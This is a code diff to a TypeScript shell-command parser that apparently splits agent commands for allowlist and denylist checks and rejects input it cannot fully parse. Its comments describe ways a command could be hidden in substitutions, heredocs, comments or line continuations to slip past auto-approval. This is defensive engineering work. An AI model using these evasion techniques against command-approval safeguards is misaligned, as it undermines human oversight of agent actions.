+			// literal. A backslash-newline pair is removed by the shell before
+			// tokenizing, so recording it as a word-continuation end would
+			// exempt a `#` that follows from the comment rule and hide a
+			// comment that swallows the rest of the line. Byte consumption is
+			// identical either way.
+			outcome.host += text.slice(i, i + 2)
+			if (text[i + 1] !== "\n") {
+				escapedWordCharEnd = i + 2
+			}
+			i += 2
+			continue
+		}
+		if (char === "#" && i === expansionCloseEnd) {
+			// A `#` directly after the closer of an expansion or quote region
+			// continues the surrounding word. The shell ends the expansion at
+			// its closer but not the word. It starts a comment only at a word
+			// start. The tokenizer starts a comment at any unquoted `#`. Send
+			// the character through tokenization as an opaque placeholder, as
+			// the mid-word case below does. It expands back verbatim. The rest
+			// of the line stays parseable instead of dropping as comment text.
+			const id = outcome.variables.push("#") - 1
+			outcome.host += mark(`V${id}`)
+			i++
+			continue
+		}
+		if (char === "#" && logicalWordBoundaryBefore(text, i) && i !== escapedWordCharEnd) {
+			// Comment: pass the rest of the line through untouched. Quotes and
+			// delimiters inside a comment are not shell syntax. shell-quote drops
+			// the comment text when it tokenizes. This branch also excludes a `#`
+			// at the end of a `\c` escape pair, even when the escaped character
+			// is whitespace. The escape makes it word content, so that `#`
+			// continues the word and the masking branch below handles it. The
+			// boundary byte is the one the shell sees, so backslash-newline
+			// continuations are walked over before the test.
+			const end = endOfLine(i)
+			outcome.host += text.slice(i, end)
+			i = end
+			continue
+		}
+		if (char === "#" && (!/[;&()|<>]/.test(text[i - 1]) || i === escapedWordCharEnd)) {
+			// A `#` inside a word is an ordinary character to the shell. A
+			// comment starts only at a word start. The tokenizer starts a comment
+			// at any `#`. Send a mid-word `#` through tokenization as an opaque
+			// placeholder so it expands back verbatim. Otherwise it would drop
+			// the rest of the line, including a real separator after it. The
+			// character right after a `\c` escape pair is also word interior. An
+			// escaped character is a literal word character to the shell. A `#`
+			// at that position therefore uses the placeholder channel, even when
+			// the raw character before it is whitespace or a metacharacter. What
+			// reaches the tokenizer unmasked sits at a real word start: index 0,
+			// after whitespace, or after a bare metacharacter. There the shell
+			// starts a comment too.
+			const id = outcome.variables.push("#") - 1
+			outcome.host += mark(`V${id}`)
+			i++
+			continue
+		}
+		if (char === "<" && text[i + 1] === "<" && text[i + 2] === "<") {
+			// Herestring (<<<): a single-line stdin redirect with no body and no
+			// terminator. The word after it is an ordinary shell word.
+			outcome.host += "<<<"
+			i += 3
+			continue
+		}
+		if (char === "<" && text[i + 1] === "<") {
+			const result = skipHeredoc(i, stack)
+			if ("error" in result) {
+				outcome.error = result.error
+				return outcome
+			}
+			i = result.end
+			continue
+		}
+		if (char === "<" || char === ">") {
+			const psArm = openerContinuationRunEnd(text, i + 1)
+			if (text[psArm] === "(") {
+				stack.push({
+					kind: "process-substitution",
+					openIndex: i,
+					closer: ")",
+					contentStart: psArm + 1,
+					escaped: true,
+					groupDepth: 0,
+					payloads: null,
+				})
+				i = psArm + 1
+				continue
+			}
+		}
+		if (char === "(") {
+			// A bare grouping or array-assignment paren is host text. It is
+			// never extracted, and it is never an error, closed or not. The
+			// depth counter exists only so that a matching `)` is not read as a
+			// stray closer.
+			parenDepth++
+			outcome.host += char
+			i++
+			continue
+		}
+		if (char === ")" && parenDepth > 0) {
+			parenDepth--
+			outcome.host += char
+			i++
+			continue
+		}
+		if (char === "{") {
+			// A bare brace (brace expansion, `@{1}` revspec, `find -exec {}`
+			// placeholder) is host text. It is never extracted, and it is never
+			// an error. The depth counter exists only so that a matching `}` is
+			// not read as a stray closer.
+			braceDepth++
+			outcome.host += char
+			i++
+			continue
+		}
+		if (char === "}" && braceDepth > 0) {
+			braceDepth--
+			outcome.host += char
+			i++
+			continue
+		}
+		if (char === "}") {
+			// A `}` at depth 0 with no matching `{` stays fail-closed. The
+			// parser cannot tell a literal brace word from a decomposition whose
+			// opener it lost. An unaccountable closer never reaches approval: the
+			// tool call fails with an error. Rejecting a literal `}` argument is
+			// the accepted cost.
+			outcome.error = errorAt("stray-closer", i)
+			return outcome
+		}
+		// A `)` at depth 0 is host text. bash closes `case` patterns with `)`.
+		// With the frame stack empty, a closer cannot hide a substitution: any
+		// `$(…)` after it is still extracted and allowlist-checked.
+		if (char === "`") {
+			stack.push({
+				kind: "backtick",
+				openIndex: i,
+				closer: "`",
+				contentStart: i + 1,
+				escaped: true,
+				groupDepth: 0,
+				payloads: null,
+			})
+			i++
+			continue
+		}
+		if (char === "$") {
+			const dollarQuote = openQuote(i)
+			if (dollarQuote) {
+				stack.push(dollarQuote)
+				i = dollarQuote.contentStart
+				continue
+			}
+			const arm = openerContinuationRunEnd(text, i + 1)
+			if (text[arm] === "(") {
+				// skipArithmetic reads the `$((` bytes as adjacent, so the
+				// arithmetic arm stays at raw adjacency. A `$` the join brings
+				// to a `(` followed by another `(` takes the
+				// command-substitution push below instead, where the loop
+				// re-reads the second `(` as a group paren.
+				if (text[i + 2] === "(") {
+					const arith = skipArithmetic(i)
+					if (arith.commandSubstitution) {
+						// bash reads this opener as `$(` plus a group, not
+						// arithmetic. The loop re-reads the group's `(` as a
+						// group paren, like the adjacent `$(` push, so the
+						// group's command is extracted independently.
+						stack.push({
+							kind: "command-substitution",
+							openIndex: i,
+							closer: ")",
+							contentStart: i + 2,
+							escaped: true,
+							groupDepth: 0,
+							payloads: null,
+						})
+						i += 2
+						continue
+					}
+					// An unclosed opener fails closed. Masking the remainder to
+					// end of input would hide its text behind the host word.
+					if (!arith.closed) {
+						outcome.error = errorAt("arithmetic", i)
+						return outcome
+					}
+					// The shell performs command substitutions inside a $((…))
+					// exactly like anywhere else. Extract them as independent
+					// segments, and make them balance.
+					const arithPayloads: string[] = []
+					const arithError = walkBodyPayloads(i + 3, arith.end - 2, arithPayloads, 0)
+					if (arithError) {
+						outcome.error = arithError
+						return outcome
+					}
+					const id = outcome.arithmetic.push(text.slice(i, arith.end)) - 1
+					outcome.arithmeticPayloads[id] = arithPayloads
+					outcome.host += mark(`A${id}`)
+					expansionCloseEnd = arith.end
+					i = arith.end
+					continue
+				}
+				stack.push({
+					kind: "command-substitution",
+					openIndex: i,
+					closer: ")",
+					contentStart: arm + 1,
+					escaped: true,
+					groupDepth: 0,
+					payloads: null,
+				})
+				i = arm + 1
+				continue
+			}
+			if (text[arm] === "{") {
+				if (openerRunCarriesCR(text, i + 1, arm)) {
+					// Same fail-closed rule as the other `{` arms: a CR in the
+					// continuation makes the joined opener ambiguous, so the
+					// scan refuses the input instead of masking the region
+					// behind an expansion frame.
+					outcome.error = errorAt("ambiguous-opener", i)
+					return outcome
 				}
+				stack.push({
+					kind: "parameter-expansion",
+					openIndex: i,
+					closer: "}",
+					// Stryker disable next-line ArithmeticOperator: a parameter-expansion frame's content start has no reader — its close routes payloads through the frame's payload list and its host text slices from the opener — so any value here emits identical bytes.
+					contentStart: arm + 1,
+					escaped: true,
+					groupDepth: 0,
+					payloads: [],
+				})
+				paramFramesOpen++
+				i = arm + 1
+				continue
 			}
-			if (!closed) {
-				return {
-					spans,
-					unterminatedQuote: {
-						quoteType: "double",
-						openIndex: start,
-						message: unterminatedQuoteMessage("double", start, command),
-					},
+			if (text[i + 1] === "[") {
+				const arith = skipArithmetic(i)
+				// An unclosed opener fails closed. Masking the remainder to
+				// end of input would hide its text behind the host word.
+				if (!arith.closed) {
+					outcome.error = errorAt("arithmetic", i)
+					return outcome
+				}
+				// The shell performs command substitutions inside a $[…] exactly
+				// like anywhere else. Extract them as independent segments, and
+				// make them balance.
+				const arithPayloads: string[] = []
+				const arithError = walkBodyPayloads(i + 2, arith.end - 1, arithPayloads, 0)
+				if (arithError) {
+					outcome.error = arithError
+					return outcome
 				}
+				const id = outcome.arithmetic.push(text.slice(i, arith.end)) - 1
+				outcome.arithmeticPayloads[id] = arithPayloads
+				outcome.host += mark(`A${id}`)
+				expansionCloseEnd = arith.end
+				i = arith.end
+				continue
+			}
+			const varEnd = scanVariable(i)
+			if (varEnd !== null) {
+				const id = outcome.variables.push(text.slice(i, varEnd)) - 1
+				outcome.host += mark(`V${id}`)
+				i = varEnd
+				continue
 			}
-			spans.push({ start, end: i, quoteType: "double" })
+			outcome.host += "$"
+			i++
 			continue
 		}
-
-		// Ordinary character -- advance.
+		const quote = openQuote(i)
+		if (quote) {
+			stack.push(quote)
+			i = quote.contentStart
+			continue
+		}
+		if (char === ">" || "0123456789".includes(char)) {
+			const redirEnd = scanRedirection(i)
+			if (redirEnd !== null) {
+				const id = outcome.redirections.push(text.slice(i, redirEnd)) - 1
+				outcome.host += mark(`R${id}`)
+				i = redirEnd
+				continue
+			}
+		}
+		outcome.host += char
 		i++
 	}
 
-	return { spans, unterminatedQuote: null }
+	if (stack.length > 0) {
+		// Delimiters are still open at end of input. Report the outermost one.
+		// It is the first construct the shell could never finish reading.
+		const outermost = stack[0]
+		outcome.error = errorAt(outermost.kind, outermost.openIndex)
+	}
+
+	return outcome
 }
 
 /**
- * Walk `command` and replace every top-level quoted region with a placeholder
- * token. Returns the masked string and the array of original quoted substrings
- * so callers can restore them later.
+ * Parse a heredoc delimiter word. The word starts at position `start` in
+ * `command`. The walk applies bash's quoting rules. A quote character opens a
+ * quote region anywhere in the word, mid-word as well as at the start. A
+ * quote region spans newlines until its closing quote. A backslash escapes the
+ * next character. Inside double quotes, only the characters in
+ * `DOUBLE_QUOTE_ESCAPABLE` are escapable. Outside quotes, anything is. A
+ * backslash-newline pair drops the newline as a line continuation everywhere.
+ * Quote removal produces the bare word. A terminator line must equal that word
+ * exactly.
  *
- * Delegates all state-machine logic to `scanTopLevelQuotes`, ensuring
- * consistent quoting rules with `findUnterminatedQuote`. An unterminated quote
- * is treated as a span that runs to the end of the string so the masked output
- * is always well-formed and the subsequent split never exposes a fragment of
- * a malformed command.
+ * Returns:
+ * - `delimiter`: the word after quote removal. It is the terminator text. It
+ *   is empty for `<<''`, which bash terminates at the first blank body line.
+ * - `endIndex`: index of the first character after the delimiter token.
+ * - `quoted`: whether any quoting construct appeared. A quoted or escaped
+ *   delimiter suppresses all expansion in the body. A backslash-newline pair
+ *   is a continuation the shell removes before tokenizing the word, so it is
+ *   not a quoting construct and leaves the body expansion-active.
+ * - `wordPresent`: whether any delimiter token appeared at all. A bare `<<`
+ *   before end of line has none.
+ * - `malformed`: whether this walk cannot determine the terminator bash will
+ *   use: the word reached end of input with a quote region still open, or it
+ *   contains an unquoted ANSI-C/locale quoting occurrence whose quote removal
+ *   the walk does not reproduce — adjacency read from the shell's
+ *   continuation-removed view. bash then reads a multi-line word no body line
+ *   can match, or closes the heredoc at a line this walk never derives. No
+ *   body can be accounted for.
  */
-function maskTopLevelQuotes(command: string): { masked: string; quotes: string[] } {
-	const { spans, unterminatedQuote } = scanTopLevelQuotes(command)
-
-	// If the command has an unterminated quote, treat the unclosed region as a
-	// span running to the end of the string. This is safe because parseCommand
-	// already guards against unterminated quotes and returns the raw command as
-	// a single token before calling maskTopLevelQuotes -- but the fallback
-	// ensures maskTopLevelQuotes is robust even when called directly.
-	const effectiveSpans: QuoteSpan[] =
-		unterminatedQuote !== null
-			? [
-					...spans,
-					{ start: unterminatedQuote.openIndex, end: command.length, quoteType: unterminatedQuote.quoteType },
-				]
-			: spans
-
-	const quotes: string[] = []
-	let result = ""
-	let pos = 0
-
-	for (const span of effectiveSpans) {
-		// Copy the unquoted text between the previous span end and this span start.
-		result += command.slice(pos, span.start)
-		// Replace the quoted span with a placeholder.
-		quotes.push(command.slice(span.start, span.end))
-		result += `__TOPLEVEL_QUOTE_${quotes.length - 1}__`
-		pos = span.end
+function parseHeredocDelimiter(
+	command: string,
+	start: number,
+): {
+	delimiter: string
+	endIndex: number
+	quoted: boolean
+	wordPresent: boolean
+	malformed: boolean
+} {
+	let i = start
+	let delimiter = ""
+	let quoted = false
+	// The quote region currently open inside the word, if any.
+	let quote: "'" | '"' | null = null
+	// bash removes backslash-newline line continuations before tokenizing, so
+	// a `$'` or `$"` occurrence can form from bytes on separate physical
+	// lines: `a$` plus a continuation plus `'b'` is the word `a$'b'`. bash
+	// applies ANSI-C/locale quote removal to every unquoted such occurrence —
+	// mid-word, at the start, and across any run of continuations joining the
+	// bytes — before matching the delimiter word against a terminator line, so
+	// such a word closes the heredoc at text this walk never derives
+	// (`$'EOF'` terminates at `EOF`, not `$EOF`; the joined `a$\<LF>'b'` at
+	// `ab`). The terminator is undeterminable: fail closed. An escaped `\$` is
+	// a literal dollar, a `$` inside a quote region is ordinary word content,
+	// and any byte that survives the removal (a space) keeps the pair apart
+	// for bash too; the walk reproduces all three exactly.
+	let ansiCPrefix = false
+
+	while (i < command.length) {
+		const char = command[i]
+		if (quote) {
+			if (char === quote) {
+				quote = null
+			} else if (quote === '"' && char === "\\" && i + 1 < command.length) {
+				// Inside double quotes, only `DOUBLE_QUOTE_ESCAPABLE` is
+				// escapable. The backslash drops before those characters.
+				// Before anything else it stays literal text of the word. A
+				// backslash-newline pair drops both characters (line
+				// continuation).
+				if (command[i + 1] !== "\n") {
+					const next = command[i + 1]
+					delimiter += DOUBLE_QUOTE_ESCAPABLE.includes(next) ? next : char + next
+				}
+				i += 2
+				continue
+			} else {
+				// Inside a quote, newlines and blanks are ordinary word
+				// content. bash closes the word only at the matching quote.
+				delimiter += char
+			}
+			i++
+			continue
+		}
+		if (char === "'" || char === '"') {
+			quote = char
+			quoted = true
+			i++
+			continue
+		}
+		if (char === "\\") {
+			if (i + 1 < command.length) {
+				// bash removes a backslash-newline pair as a line continuation
+				// before tokenizing, so the pair never quotes the delimiter
+				// word and leaves no byte of itself in the word.
+				if (command[i + 1] !== "\n") {
+					quoted = true
+					delimiter += command[i + 1]
+				}
+				i += 2
+				continue
+			}
+			// A backslash at end of input has nothing to escape: bash drops
+			// the dangling byte from the word as well, but the word is still
+			// an escaping construct, so the body stays opaque.
+			// Stryker disable next-line BooleanLiteral: this branch only runs when the backslash is the input's last byte, so no body or terminator can follow and the quoting flag cannot reach any observable.
+			quoted = true
+			i++
+			continue
+		}
+		// The unquoted path: the escaped `\$` was consumed as a literal above,
+		// so a `$` still standing here can open the byte pair bash removes
+		// quotes for. bash removes backslash-newline pairs before tokenizing,
+		// so the pair counts even when a run of line continuations separates
+		// the bytes.
+		if (char === "$") {
+			const j = continuationRunEnd(command, i + 1)
+			if (command[j] === "'" || command[j] === '"') {
+				ansiCPrefix = true
+			}
+		}
+		// An unquoted blank, line ending, or shell metacharacter ends the word.
+		// bash tokenizes `cat <<E|grep x` as the delimiter word `E` followed by
+		// a live operator, exactly like `cat <<E | grep x`. The msys read layer
+		// strips CR, so there the CR is line-ending content, not part of the
+		// delimiter word. A CR-bounded delimiter word leaves its CR inside the
+		// construct's region. The region test at mask emission in skipHeredoc
+		// then fails such a heredoc closed, whether or not a terminator line
+		// matches. A `(` or `)` breaks the word only at word start. bash
+		// recognizes a metacharacter only at token start; glued after a
+		// nonempty word token it is a syntax error, never a separator. Breaking
+		// there would turn input bash rejects into an approvable heredoc whose
+		// live remainder swallows the parenthesized text without splitting it.
+		// A metacharacter at word start leaves the word empty, and the no-word
+		// path then accounts for the opener instead.
+		const breakSet = i === start ? " \t\n\r|&;()<>" : " \t\n\r|&;<>"
+		if (breakSet.includes(char)) {
+			break
+		}
+		delimiter += char
+		i++
 	}
 
-	// Copy any remaining text after the last span (or the whole string if no spans).
-	result += command.slice(pos)
+	return {
+		delimiter,
+		endIndex: i,
+		quoted,
+		wordPresent: i > start,
+		malformed: quote !== null || ansiCPrefix,
+	}
+}
 
-	return { masked: result, quotes }
+/** Look up the raw text that a placeholder name stands for, or undefined. */
+function lookupPlaceholder(name: string, outcome: ScanOutcome): string | undefined {
+	const index = Number(name.slice(1))
+	switch (name[0]) {
+		case "Q":
+			return outcome.quotes[index]
+		case "H":
+			return outcome.heredocs[index]
+		case "P":
+			return outcome.params[index]
+		case "V":
+			return outcome.variables[index]
+		case "R":
+			return outcome.redirections[index]
+		case "A":
+			return outcome.arithmetic[index]
+		case "S":
+			// A substitution placeholder never reaches restoration: the tokenize
+			// path consumes it as a segment boundary and routes its payload
+			// through the re-scan, and a tokenizer rejection fails the whole
+			// command closed before any restoration runs.
+			return undefined
+		default:
+			return undefined
+	}
 }
 
 /**
- * Split a command string into individual sub-commands by
- * chaining operators (&&, ||, ;, |, or &) and unquoted newlines.
- *
- * Uses shell-quote to properly handle:
- * - Quoted strings (preserves quotes, including multi-line quoted strings)
- * - Subshell commands ($(cmd), `cmd`, <(cmd), >(cmd))
- * - PowerShell redirections (2>&1)
- * - Chain operators (&&, ||, ;, |, &)
- * - Newlines as command separators (only when outside quoted strings)
- *
- * Key invariant: newlines that appear inside a quoted string (single or double)
- * are part of that string argument and must NOT be treated as command separators.
- * Only unquoted newlines split commands. For example:
- *
- *   sh -c 'python3 -c "
- *   import sys
- *   print(sys.version)
- *   "'
+ * Replace every sentinel-delimited placeholder in `text` with its raw text.
+ * Split on the sentinel rather than with a regex. By construction, a
+ * placeholder name is everything between two sentinels. The scan rejects a raw
+ * NUL in the input up front (see QuoteType "nul-byte"), so no input can carry
+ * a sentinel that collides with the ones used here.
+ */
+function expandPlaceholders(text: string, outcome: ScanOutcome): string {
+	if (!text.includes(NUL)) {
+		return text
+	}
+	const parts = text.split(NUL)
+	let out = ""
+	for (let p = 0; p < parts.length; p++) {
+		if (p % 2 === 0) {
+			out += parts[p]
+			continue
+		}
+		const value = lookupPlaceholder(parts[p], outcome)
+		if (value !== undefined) {
+			out += value
+		}
+	}
+	return out
+}
+
+/**
+ * Split a command string into individual sub-commands. The splitter cuts on
+ * chaining operators (&&, ||, ;, |, or &) and on unquoted newlines.
  *
- * ...is a single command, not multiple commands split at each newline.
+ * One quote-aware scan (`scanShellSyntax`) does all structure analysis in a
+ * single left-to-right pass. `shell-quote` then tokenizes the masked host
+ * text:
+ * - Quoted strings stay opaque. That includes multi-line quoted strings. That
+ *   is why only unquoted newlines split commands. The key invariant: a newline
+ *   inside a quoted string is argument text, never a separator.
+ * - The scan extracts every command substitution with balanced-paren
+ *   awareness, wherever it sits: nested, inside a `${…}` expansion, inside a
+ *   process substitution, or inside a heredoc with an unquoted delimiter. Each
+ *   becomes its own segment, so each inner command matches the allow/deny
+ *   lists on its own. Parameter-expansion and heredoc hosts keep their
+ *   verbatim text as one segment.
+ * - PowerShell-style redirections (2>&1), variables, and arithmetic stay
+ *   inside their host word.
  *
- * Returns a `ParseResult` containing the list of sub-commands and an optional
- * `parseError` that is non-null when the input contains a shell syntax error
- * (currently: an unterminated quote or heredoc). When `parseError` is set the
- * `commands` array contains the raw input as a single opaque token; callers
- * should surface the error rather than proceeding with auto-approval.
+ * The result is a `ParseResult`. It contains the list of sub-commands and an
+ * optional `parseError`. The error is non-null when the input cannot be
+ * accounted for: an unterminated quote or heredoc, an expansion delimiter or
+ * arithmetic expression opened but never closed, a stray closer, a raw NUL
+ * byte, substitution nesting beyond the re-scan depth cap, or the shell
+ * tokenizer rejecting the masked command. When `parseError` is set, the
+ * `commands` array contains the raw input as a single opaque token. A command
+ * whose structure the parser cannot fully account for must never reach
+ * approval: the tool call fails with an error instead. It must not get a free
+ * pass built on a partial decomposition.
  */
 export function parseCommand(command: string): ParseResult {
+	// A NUL byte is not whitespace. A NUL-bearing command therefore still
+	// reaches the scan, where the nul-byte guard rejects it.
 	if (!command?.trim()) {
 		return { commands: [], parseError: null }
 	}
 
-	// Run the shared state-machine scan once. It gives us both the list of
-	// top-level quoted spans (used by maskTopLevelQuotes) and the parse-error
-	// descriptor (used here to detect malformed input) in a single pass.
-	const { unterminatedQuote } = scanTopLevelQuotes(command)
-
-	// Reject syntactically malformed input -- an unterminated quote is a shell
-	// syntax error. Return the raw input as a single opaque token so callers
-	// can surface the error to the agent rather than splitting unsafe fragments
-	// that might be auto-approved in isolation.
-	if (unterminatedQuote !== null) {
-		return { commands: [command], parseError: unterminatedQuote }
+	// Run the shared state-machine scan once. One pass yields the masked host
+	// text, the extracted substitution payloads, and the structural-error
+	// descriptor.
+	const outcome = scanShellSyntax(command)
+
+	// Reject syntactically malformed input. Return the raw input as a single
+	// opaque token. Callers then surface the error to the agent instead of
+	// splitting unsafe fragments that might be auto-approved in isolation.
+	if (outcome.error !== null) {
+		return { commands: [command], parseError: outcome.error }
 	}
 
-	// Pre-escape any literal __ sequences present in the raw command so they
-	// cannot collide with the internal placeholder tokens (e.g. __QUOTE_0__)
-	// used during masking and splitting. \x00 (the null byte, U+0000) is the
-	// sentinel: it encodes end-of-string at the C/OS level, so the OS terminates
-	// any command string at the first \x00 -- meaning a real shell command can
-	// never contain one. It therefore cannot appear in any command text the
-	// parser receives and will never match a placeholder regex. The post-unescape
-	// step at the return converts \x00 back to __ in every output command.
-	const escapedCommand = command.replace(/__/g, "\x00")
-
-	// Mask quoted strings before splitting on newlines so that newlines embedded
-	// inside a quoted argument are not mistaken for command separators. The
-	// masker delegates to scanTopLevelQuotes internally, ensuring identical
-	// quoting rules with the check above.
-	const { masked, quotes: topLevelQuotes } = maskTopLevelQuotes(escapedCommand)
-
-	// Split on unquoted newlines (all line-ending formats).
-	const lines = masked.split(/\r\n|\r|\n/)
 	const allCommands: string[] = []
 
-	for (const line of lines) {
+	for (const line of outcome.host.split(/\r\n|\r|\n/)) {
 		if (!line.trim()) {
 			continue
 		}
-
-		// Restore top-level quote placeholders before per-line parsing so that
-		// parseCommandLine sees the original quoted content and can apply its own
-		// masking for operator splitting.
-		const restoredLine = line.replace(/__TOPLEVEL_QUOTE_(\d+)__/g, (_, i) => topLevelQuotes[parseInt(i)])
-
-		// If the restored line contains embedded newlines it means a top-level
-		// quote (e.g. a heredoc) spanned multiple lines. The entire restored
-		// string is a single atomic command -- passing it through parseCommandLine
-		// would let shell-quote split on the embedded newlines and << operators.
-		if (restoredLine.includes("\n")) {
-			allCommands.push(restoredLine)
-			continue
+		allCommands.push(...parseLine(line, outcome, 0, false))
+		if (outcome.error !== null) {
+			return { commands: [command], parseError: outcome.error }
 		}
-
-		const lineCommands = parseCommandLine(restoredLine)
-		allCommands.push(...lineCommands)
 	}
 
-	// Unescape \x00 back to __ in every output command. This reverses the
-	// pre-escape applied above to prevent literal __ tokens in the input from
-	// colliding with internal placeholder names. split/join is used instead of
-	// a regex literal to avoid triggering the no-control-regex lint rule.
-	return { commands: allCommands.map((cmd) => cmd.split("\x00").join("__")), parseError: null }
+	return { commands: allCommands, parseError: null }
 }
 
 /**
- * Parse a single line of commands.
+ * Tokenize one masked host line into segments.
+ *
+ * A chain operator flushes the current segment. A substitution placeholder
+ * also flushes, and it takes the place of its payload's own segments. The
+ * payload is re-scanned through the same path, so nested substitutions become
+ * independent segments. Placeholders that do not force a split join the
+ * current word and are restored verbatim. Those are quotes, parameter
+ * expansions, heredocs, variables, redirections, and arithmetic. A parameter
+ * expansion, heredoc, or closed `$((…))` also queues its extracted inner
+ * substitutions. They flush right after the host segment that still contains
+ * their verbatim text.
+ *
+ * The scan records structural errors found while it recurses into payloads on
+ * `outcome` (fail-closed). The caller checks `outcome` after every line.
+ * `depth` counts payload re-entries, and `scanPayloadSegments` caps it.
+ * `fromPayload` marks a re-scan of an extracted substitution payload: there a
+ * glob token fails closed, because the reconstructed word would be the bare
+ * literal `glob` instead of the files bash expands the pattern to.
  */
-function parseCommandLine(command: string): string[] {
-	if (!command?.trim()) return []
-
-	// Storage for replaced content
-	const redirections: string[] = []
-	const subshells: string[] = []
-	const quotes: string[] = []
-	const singleQuotes: string[] = []
-	const arithmeticExpressions: string[] = []
-	const variables: string[] = []
-	const parameterExpansions: string[] = []
-
-	// First handle PowerShell redirections by temporarily replacing them
-	let processedCommand = command.replace(/\d*>&\d*/g, (match) => {
-		redirections.push(match)
-		return `__REDIR_${redirections.length - 1}__`
-	})
-
-	// Handle arithmetic expressions: $((...)) pattern
-	// Match the entire arithmetic expression including nested parentheses
-	processedCommand = processedCommand.replace(/\$\(\([^)]*(?:\)[^)]*)*\)\)/g, (match) => {
-		arithmeticExpressions.push(match)
-		return `__ARITH_${arithmeticExpressions.length - 1}__`
-	})
-
-	// Handle $[...] arithmetic expressions (alternative syntax)
-	processedCommand = processedCommand.replace(/\$\[[^\]]*\]/g, (match) => {
-		arithmeticExpressions.push(match)
-		return `__ARITH_${arithmeticExpressions.length - 1}__`
-	})
-
-	// Handle parameter expansions: ${...} patterns (including array indexing)
-	// This covers ${var}, ${var:-default}, ${var:+alt}, ${#var}, ${var%pattern}, etc.
-	processedCommand = processedCommand.replace(/\$\{[^}]+\}/g, (match) => {
-		parameterExpansions.push(match)
-		return `__PARAM_${parameterExpansions.length - 1}__`
-	})
-
-	// Handle process substitutions: <(...) and >(...)
-	processedCommand = processedCommand.replace(/[<>]\(([^)]+)\)/g, (_, inner) => {
-		subshells.push(inner.trim())
-		return `__SUBSH_${subshells.length - 1}__`
-	})
-
-	// Handle locale quoting: $"...". This must run before variable masking for
-	// the same reason as ANSI-C: without it the generic double-quote masker would
-	// strip the outer quotes leaving a bare $ that the variable regex absorbs,
-	// corrupting the placeholder. The whole token (including $") is stored in the
-	// double-quote bucket so it is restored verbatim.
-	processedCommand = processedCommand.replace(/\$"(?:[^"\\]|\\.)*"/g, (match) => {
-		quotes.push(match)
-		return `__QUOTE_${quotes.length - 1}__`
-	})
-
-	// Handle ANSI-C quoting: $'...'. This must run before variable masking so the
-	// leading $ is captured as part of the quoted unit rather than being treated
-	// as a variable expansion (which would corrupt a following placeholder).
-	// ANSI-C strings interpret backslash escapes, so the pattern is escape-aware.
-	// The whole token (including the $ and quotes) is preserved in the single-
-	// quote bucket so it is restored verbatim.
-	processedCommand = processedCommand.replace(/\$'(?:[^'\\]|\\.)*'/g, (match) => {
-		singleQuotes.push(match)
-		return `__SQUOTE_${singleQuotes.length - 1}__`
-	})
-
-	// Handle simple variable references: $varname pattern
-	// This prevents shell-quote from splitting $count into separate tokens
-	processedCommand = processedCommand.replace(/\$[a-zA-Z_][a-zA-Z0-9_]*/g, (match) => {
-		variables.push(match)
-		return `__VAR_${variables.length - 1}__`
-	})
-
-	// Handle special bash variables: $?, $!, $#, $$, $@, $*, $-, $0-$9
-	processedCommand = processedCommand.replace(/\$[?!#$@*\-0-9]/g, (match) => {
-		variables.push(match)
-		return `__VAR_${variables.length - 1}__`
-	})
-
-	// Then handle subshell commands $() and back-ticks
-	processedCommand = processedCommand
-		.replace(/\$\((.*?)\)/g, (_, inner) => {
-			subshells.push(inner.trim())
-			return `__SUBSH_${subshells.length - 1}__`
-		})
-		.replace(/`(.*?)`/g, (_, inner) => {
-			subshells.push(inner.trim())
-			return `__SUBSH_${subshells.length - 1}__`
-		})
-
-	// Mask quoted strings (single and double) so their contents -- including
-	// operators like &&, |, ; and any embedded newlines -- are not treated as
-	// command separators. A single left-to-right scan with an alternation is used
-	// so that whichever quote opens first wins, preventing a quote of one style
-	// inside a string of the other style from starting a spurious match.
-	//
-	// Single quotes are matched literally (POSIX single quotes are fully opaque,
-	// no escaping inside them). Double quotes use an escape-aware pattern so that
-	// an escaped quote (\") does not prematurely terminate the match. Negated
-	// character classes match newlines, so multi-line quoted strings are captured
-	// as a single token.
-	processedCommand = processedCommand.replace(/'[^']*'|"(?:[^"\\]|\\.)*"/g, (match) => {
-		if (match.startsWith("'")) {
-			singleQuotes.push(match)
-			return `__SQUOTE_${singleQuotes.length - 1}__`
-		}
-		quotes.push(match)
-		return `__QUOTE_${quotes.length - 1}__`
-	})
-
+function parseLine(line: string, outcome: ScanOutcome, depth: number, fromPayload: boolean): string[] {
 	let tokens: ShellToken[]
 	try {
-		tokens = parse(processedCommand) as ShellToken[]
-	} catch (error) {
-		// If shell-quote fails to parse, fall back to simple splitting
-		console.warn("shell-quote parse error:", (error as Error).message, "for command:", processedCommand)
-
-		// Simple fallback: split by common operators
-		const fallbackCommands = processedCommand
-			.split(/(?:&&|\|\||;|\||&)/)
-			.map((cmd) => cmd.trim())
-			.filter((cmd) => cmd.length > 0)
-
-		// Restore all placeholders for each command
-		return fallbackCommands.map((cmd) =>
-			restorePlaceholders(
-				cmd,
-				quotes,
-				singleQuotes,
-				redirections,
-				arithmeticExpressions,
-				parameterExpansions,
-				variables,
-				subshells,
-			),
-		)
+		tokens = parse(line) as ShellToken[]
+	} catch {
+		// The masked host text carries no active shell syntax, so a tokenizer
+		// rejection means the decomposition cannot account for this line.
+		// Splitting on operators here would not recurse into payloads — a
+		// substitution's inner text would ride its host word, letting a hidden
+		// command ride the host's allowlist match to an approval. Fail closed
+		// on the shared error channel: the caller re-checks `outcome` after
+		// every line and returns the raw input as one opaque token.
+		// Both the line and the tokenizer's error text may echo payload
+		// content (shell-quote embeds slices of the offending input). The
+		// returned message reaches the model and the command-status UI, so
+		// like the console warning it carries no content — only the fixed
+		// classification, never an echo of the rejected command.
+		console.warn(`shell-quote parse error: tokenizer rejected a ${line.length}-character command line`)
+		outcome.error = {
+			quoteType: "tokenize-failure",
+			openIndex: 0,
+			message: "Malformed command: shell tokenizer rejected the command.",
+		}
+		return []
 	}
 
 	const commands: string[] = []
-	let currentCommand: string[] = []
+	let current: string[] = []
+	let pendingPayloads: string[] = []
+
+	const flush = (): void => {
+		if (current.length > 0) {
+			commands.push(expandPlaceholders(current.join(" "), outcome))
+			current = []
+		}
+		for (const raw of pendingPayloads) {
+			commands.push(...scanPayloadSegments(raw, outcome, depth + 1))
+		}
+		pendingPayloads = []
+	}
 
 	for (const token of tokens) {
 		if (typeof token === "object" && "op" in token) {
-			// Chain operator - split command
-			if (["&&", "||", ";", "|", "&"].includes(token.op)) {
-				if (currentCommand.length > 0) {
-					commands.push(currentCommand.join(" "))
-					currentCommand = []
+			if (["&&", "||", ";", "|", "&", "|&"].includes(token.op)) {
+				flush()
+			} else if (token.op === "glob" && fromPayload) {
